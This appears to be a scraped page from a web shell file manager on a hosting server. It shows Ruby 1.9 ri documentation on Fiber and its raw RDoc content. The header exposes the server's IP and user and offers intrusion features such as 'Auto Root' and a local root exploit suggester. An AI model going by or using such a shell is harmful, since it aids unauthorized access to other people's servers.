Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.130
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
share /
ri /
1.9.1 /
system /
Fiber /
Delete
Unzip
Name
Size
Permission
Date
Action
alive%3f-i.ri
446
B
-rw-r--r--
2023-07-26 17:26
cdesc-Fiber.ri
2.27
KB
-rw-r--r--
2023-07-26 17:26
current-c.ri
403
B
-rw-r--r--
2023-07-26 17:26
resume-i.ri
875
B
-rw-r--r--
2023-07-26 17:26
transfer-i.ri
935
B
-rw-r--r--
2023-07-26 17:26
yield-c.ri
568
B
-rw-r--r--
2023-07-26 17:26
Save
Rename
U:RDoc::NormalClass[iI" Fiber:ET@I"Object;Fo:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[ I"DFibers are primitives for implementing light weight cooperative;TI"Lconcurrency in Ruby. Basically they are a means of creating code blocks;TI"Kthat can be paused and resumed, much like threads. The main difference;TI"Mis that they are never preempted and that the scheduling must be done by;TI"#the programmer and not the VM.;To:RDoc::Markup::BlankLine o; ;[I"NAs opposed to other stackless light weight concurrency models, each fiber;TI"Rcomes with a small 4KB stack. This enables the fiber to be paused from deeply;TI"2nested function calls within the fiber block.;T@o; ;[ I"MWhen a fiber is created it will not run automatically. Rather it must be;TI"Kbe explicitly asked to run using the <code>Fiber#resume</code> method.;TI"EThe code running inside the fiber can give up control by calling;TI"L<code>Fiber.yield</code> in which case it yields control back to caller;TI"3(the caller of the <code>Fiber#resume</code>).;T@o; ;[I"IUpon yielding or termination the Fiber returns the value of the last;TI"executed expression;T@o; ;[I"For instance:;T@o:RDoc::Markup::Verbatim;[ I"fiber = Fiber.new do ;FI" Fiber.yield 1 ;FI" 2 ;FI" end ;FI" ;FI"puts fiber.resume ;FI"puts fiber.resume ;FI"puts fiber.resume ;Fo; ;[I"<em>produces</em>;T@o;;[I"1 ;FI"2 ;FI"#FiberError: dead fiber called ;Fo; ;[ I"HThe <code>Fiber#resume</code> method accepts an arbitrary number of;TI"Iparameters, if it is the first call to <code>resume</code> then they;TI"Iwill be passed as block arguments. Otherwise they will be the return;TI"2value of the call to <code>Fiber.yield</code>;T@o; ;[I" Example:;T@o;;[I""fiber = Fiber.new do |first| ;FI"& second = Fiber.yield first + 2 ;FI" end ;FI" ;FI"puts fiber.resume 10 ;FI"puts fiber.resume 14 ;FI"puts fiber.resume 18 ;Fo; ;[I"<em>produces</em>;T@o;;[I"12 ;FI"14 ;FI""FiberError: dead fiber called;F: @fileI"cont.c;T;0[ [ [ [[I" class;F[[:public[[I"current;T@T[I" yield;T@T[:protected[ [:private[ [I" instance;F[[; [[I"alive?;T@T[I"resume;T@T[I" transfer;T@T[;[ [;[